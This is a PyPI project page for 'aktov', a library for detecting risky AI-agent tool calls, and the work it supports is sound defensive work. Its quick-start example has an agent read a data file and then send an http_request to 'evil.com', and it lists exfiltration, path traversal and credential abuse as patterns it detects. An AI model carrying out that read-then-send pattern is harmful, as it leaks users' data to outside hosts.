Skip to main content

Detection engineering for AI agents. Alerts when agents do weird or risky things.

Project description

aktov

PyPI version License Python 3.12+

Detection engineering for AI agents.

pip install aktov + 2 lines of code — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

from aktov import Aktov

ak = Aktov(api_key="ak_...")  # SAFE mode by default
trace = ak.start_trace(declared_intent="answer user question")
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [Alert(rule_id="AK-010", severity="critical", ...)]

What It Does

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

  • Data exfiltration — read followed by network egress to external domains
  • Capability escalation — agents accessing tools outside their authorized scope
  • Path traversal../ patterns in tool arguments (prompt injection indicator)
  • Credential abuse — non-credential agents touching secrets/vaults
  • Runaway agents — extreme chain lengths, burst failures, port scanning

Features

  • SAFE mode (default): raw arguments never leave your machine — only semantic flags are transmitted
  • Framework integrations: LangChain, OpenAI, Anthropic, MCP
  • Local scanning: aktov scan trace.json — evaluate traces offline with bundled rules
  • Preview CLI: aktov preview --trace <file> — inspect what would be sent
  • YAML rule engine: write custom detection rules in declarative YAML

CLI

# Scan traces against bundled detection rules (works offline)
aktov scan trace.json

# Scan with your own rules
aktov scan --rules-dir ./my-rules trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

SAFE vs DEBUG Mode

SAFE (default) DEBUG
Raw arguments Stripped client-side Included
Semantic flags Extracted and sent Extracted and sent
Use case Production Development only

License

Apache-2.0

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

aktov-0.1.0.tar.gz (34.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

aktov-0.1.0-py3-none-any.whl (37.5 kB view details)

Uploaded Python 3

File details

Details for the file aktov-0.1.0.tar.gz.

File metadata

  • Download URL: aktov-0.1.0.tar.gz
  • Upload date:
  • Size: 34.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.1.0.tar.gz
Algorithm Hash digest
SHA256 d6cee870cafa7abb0ddd0fb4a9652441544c8e071b225b068901ea7f903c541d
MD5 48d58db63ec9638bc6a024a3dcb74f03
BLAKE2b-256 61868464e548c4e2832ec01f4858da34c22b15cb6c52e4451cea7f324eae6659

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.1.0.tar.gz:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file aktov-0.1.0-py3-none-any.whl.

File metadata

  • Download URL: aktov-0.1.0-py3-none-any.whl
  • Upload date:
  • Size: 37.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for aktov-0.1.0-py3-none-any.whl
Algorithm Hash digest
SHA256 b5522dd9739d63f0dae90d2f580007bb2341a4a5db5f4ba92a29a314caa4bdc1
MD5 000bd1e5fdcde879bcc7432753e49872
BLAKE2b-256 6d4e22746a0f494e49e653d9ab9b17cb25c8bd2de6a0046bf684be382c80c1a0

See more details on using hashes here.

Provenance

The following attestation bundles were made for aktov-0.1.0-py3-none-any.whl:

Publisher: publish.yml on sharmaharjeet92/aktov

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page